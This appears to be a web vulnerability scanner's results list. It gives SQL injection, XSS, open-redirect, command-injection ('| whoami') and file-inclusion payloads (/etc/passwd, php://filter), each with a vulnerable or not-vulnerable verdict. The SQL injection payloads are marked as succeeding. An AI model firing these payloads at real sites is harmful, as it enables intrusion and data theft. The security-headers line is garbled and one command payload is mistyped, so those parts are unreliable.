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#### **SQL INJECTION:**

Payload: 'OR '1'='1, Vulnerable: True

Payload: 'OR '1'='1' --, Vulnerable: True

Payload: 'OR 1=1 --, Vulnerable: True

Payload: 'OR '1'='1' #, Vulnerable: True

Payload: 'OR 1=1;--, Vulnerable: True

# XSS:

Payload: <script>alert('XSS')</script>, Vulnerable: False

Payload: <img src=x onerror=alert('XSS')>, Vulnerable: False

Payload: <svg/onload=alert('XSS')>, Vulnerable: False

Payload: '><script>alert(1)</script>, Vulnerable: False

## CSRF:

{'vulnerable': False}

### OPEN\_REDIRECT:

Payload: /redirect?url=http://malicious.com, Vulnerable: False

Payload: /?next=http://malicious.com, Vulnerable: False

Payload: /?redirect=http://malicious.com, Vulnerable: False

### SECURITY\_HEADERS:

{'missing\_headers': ['Content-Security-Policy', 'Strict-Transport-Security', 'X-Content-Type-Option of the content-Type-Option of

#### COMMAND INJECTION:

Payload: ; Is, Vulnerable: False

Payload: && dir, Vulnerable: False

Payload: | whoami, Vulnerable: False

Payload: || echo vulnerable, Vulnerable: False

### FILE\_INCLUSION:

Payload: ../../../etc/passwd, Vulnerable: False

Payload: file:///etc/passwd, Vulnerable: False

Payload: php://filter/convert.base64-encode/resource=index, Vulnerable: False

### **WEAK PASSWORDS:**

Payload: N/A, Vulnerable: False

Payload: N/A, Vulnerable: False

Payload: N/A, Vulnerable: False

Payload: N/A, Vulnerable: False